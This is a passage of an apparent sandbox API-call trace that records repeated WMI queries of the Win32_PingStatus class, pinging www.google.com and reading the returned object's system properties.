pType=0x2346e9c*=0, plFlavor=0x2346ea0*=0 | out: pVal=0x59ee898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x2346e9c*=8, plFlavor=0x2346ea0*=0) returned 0x0 [0127.575] SysStringByteLen (bstr="www.google.com") returned 0x1c [0127.575] SysStringByteLen (bstr="www.google.com") returned 0x1c [0127.575] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0127.575] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0127.575] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.575] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee894 | out: puCount=0x59ee894*=0x2) returned 0x0 [0127.575] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0x0, pszText=0x0 | out: puBuffLength=0x59ee890*=0xf, pszText=0x0) returned 0x0 [0127.575] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee890*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.575] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee890 | out: pNames=0x59ee890*="\x01ƀ\x04") returned 0x0 [0127.575] SafeArrayGetDim (psa=0x4f3e2a0) returned 0x1 [0127.575] SafeArrayGetDim (psa=0x4f3e2a0) returned 0x1 [0127.575] SafeArrayGetLBound (in: psa=0x4f3e2a0, nDim=0x1, plLbound=0x59ee728 | out: plLbound=0x59ee728) returned 0x0 [0127.576] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.576] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.576] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.576] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.576] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.576] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.576] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.576] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.576] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.576] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.576] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.576] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.576] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.576] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.576] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.576] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.576] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.576] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.576] SysStringByteLen (bstr="__PATH") returned 0xc [0127.576] SysStringByteLen (bstr="__PATH") returned 0xc [0127.576] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x234727c*=0, plFlavor=0x2347280*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x234727c*=3, plFlavor=0x2347280*=64) returned 0x0 [0127.577] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23472b0*=0, plFlavor=0x23472b4*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23472b0*=8, plFlavor=0x23472b4*=64) returned 0x0 [0127.577] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.577] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.577] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2347308*=0, plFlavor=0x234730c*=0 | out: pVal=0x59ee88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2347308*=8, plFlavor=0x234730c*=64) returned 0x0 [0127.577] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2347330*=0, plFlavor=0x2347334*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2347330*=8, plFlavor=0x2347334*=64) returned 0x0 [0127.577] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.577] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.577] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2347388*=0, plFlavor=0x234738c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2347388*=8, plFlavor=0x234738c*=64) returned 0x0 [0127.577] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0127.577] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0127.578] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2347564*=0, plFlavor=0x2347568*=0 | out: pVal=0x59ee88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2347564*=3, plFlavor=0x2347568*=64) returned 0x0 [0127.578] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DERIVATION", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2347598*=0, plFlavor=0x234759c*=0 | out: pVal=0x59ee88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e300*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afb0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2347598*=8200, plFlavor=0x234759c*=64) returned 0x0 [0127.578] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SERVER", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23475cc*=0, plFlavor=0x23475d0*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x23475cc*=8, plFlavor=0x23475d0*=64) returned 0x0 [0127.578] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.578] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.578] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2347618*=0, plFlavor=0x234761c*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2347618*=8, plFlavor=0x234761c*=64) returned 0x0 [0127.578] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.578] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0127.579] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__PATH", lFlags=0, pVal=0x59ee88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2347664*=0, plFlavor=0x2347668*=0 | out: pVal=0x59ee88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2347664*=8, plFlavor=0x2347668*=64) returned 0x0 [0127.579] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0127.579] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0127.579] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee8d0 | out: puCount=0x59ee8d0*=0x2) returned 0x0 [0127.579] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee8cc*=0xf, pszText=0x0) returned 0x0 [0127.579] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee8cc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee8cc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.579] IWbemClassObject:Get (in: This=0x4f387a8, wszName="Address", lFlags=0, pVal=0x59ee8cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x234789c*=0, plFlavor=0x23478a0*=0 | out: pVal=0x59ee8cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x234789c*=8, plFlavor=0x23478a0*=0) returned 0x0 [0127.579] SysStringByteLen (bstr="www.google.com") returned 0x1c [0127.579] SysStringByteLen (bstr="www.google.com") returned 0x1c [0127.579] IWbemClassObject:Get (in: This=0x4f387a8, wszName="Address", lFlags=0, pVal=0x59ee980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x234789c*=8, plFlavor=0x23478a0*=0 | out: pVal=0x59ee980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.google.com", varVal2=0x0), pType=0x234789c*=8, plFlavor=0x23478a0*=0) returned 0x0 [0127.579] SysStringByteLen (bstr="www.google.com") returned 0x1c [0127.579] SysStringByteLen (bstr="www.google.com") returned 0x1c [0127.586] QueryPerformanceCounter (in: lpPerformanceCount=0x59ee790 | out: lpPerformanceCount=0x59ee790*=1176856351781) returned 1 [0128.011] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x508 [0128.160] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee4e8 | out: puCount=0x59ee4e8*=0x2) returned 0x0 [0128.160] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4e4*=0xf, pszText=0x0) returned 0x0 [0128.160] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.160] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2363734*=0, plFlavor=0x2363738*=0 | out: pVal=0x59ee4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2363734*=8, plFlavor=0x2363738*=64) returned 0x0 [0128.160] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.160] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.161] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2363734*=8, plFlavor=0x2363738*=64 | out: pVal=0x59ee4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2363734*=8, plFlavor=0x2363738*=64) returned 0x0 [0128.161] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.161] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0128.161] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee4e8 | out: puCount=0x59ee4e8*=0x2) returned 0x0 [0128.161] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4e4*=0xf, pszText=0x0) returned 0x0 [0128.161] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.161] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23637d0*=0, plFlavor=0x23637d4*=0 | out: pVal=0x59ee4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23637d0*=8, plFlavor=0x23637d4*=64) returned 0x0 [0128.161] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.161] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.161] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23637d0*=8, plFlavor=0x23637d4*=64 | out: pVal=0x59ee4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23637d0*=8, plFlavor=0x23637d4*=64) returned 0x0 [0128.161] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.161] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.161] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee4e8 | out: puCount=0x59ee4e8*=0x2) returned 0x0 [0128.161] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4e4*=0xf, pszText=0x0) returned 0x0 [0128.161] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.162] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59ee4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x236392c*=0, plFlavor=0x2363930*=0 | out: pVal=0x59ee4e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e420*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afe0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x236392c*=8200, plFlavor=0x2363930*=64) returned 0x0 [0128.162] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59ee4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x236392c*=8200, plFlavor=0x2363930*=64 | out: pVal=0x59ee4ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e3f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afe0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x236392c*=8200, plFlavor=0x2363930*=64) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee4e8 | out: puCount=0x59ee4e8*=0x2) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4e4*=0xf, pszText=0x0) returned 0x0 [0128.162] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.162] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2363b94*=0, plFlavor=0x2363b98*=0 | out: pVal=0x59ee4e4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2363b94*=8, plFlavor=0x2363b98*=64) returned 0x0 [0128.162] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.163] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.163] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2363b94*=8, plFlavor=0x2363b98*=64 | out: pVal=0x59ee4ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2363b94*=8, plFlavor=0x2363b98*=64) returned 0x0 [0128.163] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.163] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.163] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee4e8 | out: puCount=0x59ee4e8*=0x2) returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4e4*=0xf, pszText=0x0) returned 0x0 [0128.163] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4e4*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4e4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.163] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59ee4e4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2363cbc*=0, plFlavor=0x2363cc0*=0 | out: pVal=0x59ee4e4*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e420*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afe0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2363cbc*=8200, plFlavor=0x2363cc0*=64) returned 0x0 [0128.163] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__Derivation", lFlags=0, pVal=0x59ee4ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2363cbc*=8200, plFlavor=0x2363cc0*=64 | out: pVal=0x59ee4ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e3f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4afe0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2363cbc*=8200, plFlavor=0x2363cc0*=64) returned 0x0 [0128.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee500 | out: puCount=0x59ee500*=0x2) returned 0x0 [0128.164] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4fc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4fc*=0xf, pszText=0x0) returned 0x0 [0128.164] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.164] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee500 | out: puCount=0x59ee500*=0x2) returned 0x0 [0128.164] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4fc*=0x0, pszText=0x0 | out: puBuffLength=0x59ee4fc*=0xf, pszText=0x0) returned 0x0 [0128.164] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee4fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee4fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0128.164] IWbemClassObject:GetNames (in: This=0x4f387a8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee508*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee4fc | out: pNames=0x59ee4fc*="\x01ƀ\x04") returned 0x0 [0128.164] SafeArrayGetDim (psa=0x4f3e450) returned 0x1 [0128.164] SafeArrayGetDim (psa=0x4f3e450) returned 0x1 [0128.164] SafeArrayGetLBound (in: psa=0x4f3e450, nDim=0x1, plLbound=0x59ee394 | out: plLbound=0x59ee394) returned 0x0 [0128.164] SysStringByteLen (bstr="__GENUS") returned 0xe [0128.164] SysStringByteLen (bstr="__GENUS") returned 0xe [0128.164] SysStringByteLen (bstr="__CLASS") returned 0xe [0128.165] SysStringByteLen (bstr="__CLASS") returned 0xe [0128.165] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0128.165] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0128.165] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0128.165] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0128.165] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0128.165] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0128.165] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0128.165] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0128.165] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0128.165] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0128.165] SysStringByteLen (bstr="__SERVER") returned 0x10 [0128.165] SysStringByteLen (bstr="__SERVER") returned 0x10 [0128.165] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0128.165] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0128.165] SysStringByteLen (bstr="__PATH") returned 0xc [0128.165] SysStringByteLen (bstr="__PATH") returned 0xc [0128.165] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__GENUS", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23644f8*=0, plFlavor=0x23644fc*=0 | out: pVal=0x59ee4f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x23644f8*=3, plFlavor=0x23644fc*=64) returned 0x0 [0128.166] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__CLASS", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x236452c*=0, plFlavor=0x2364530*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x236452c*=8, plFlavor=0x2364530*=64) returned 0x0 [0128.166] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.166] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.166] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2364584*=0, plFlavor=0x2364588*=0 | out: pVal=0x59ee4f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2364584*=8, plFlavor=0x2364588*=64) returned 0x0 [0128.166] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__DYNASTY", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23645ac*=0, plFlavor=0x23645b0*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x23645ac*=8, plFlavor=0x23645b0*=64) returned 0x0 [0128.166] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.166] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0128.166] IWbemClassObject:Get (in: This=0x4f387a8, wszName="__RELPATH", lFlags=0, pVal=0x59ee4f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2364604*=0, plFlavor=0x2364608*=0 | out: pVal=0x59ee4f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2364604*=8, plFlavor=0x2364608*=64) returned 0x0 [0128.166] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0128.166] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0128.166] IWbemClassObject:Get 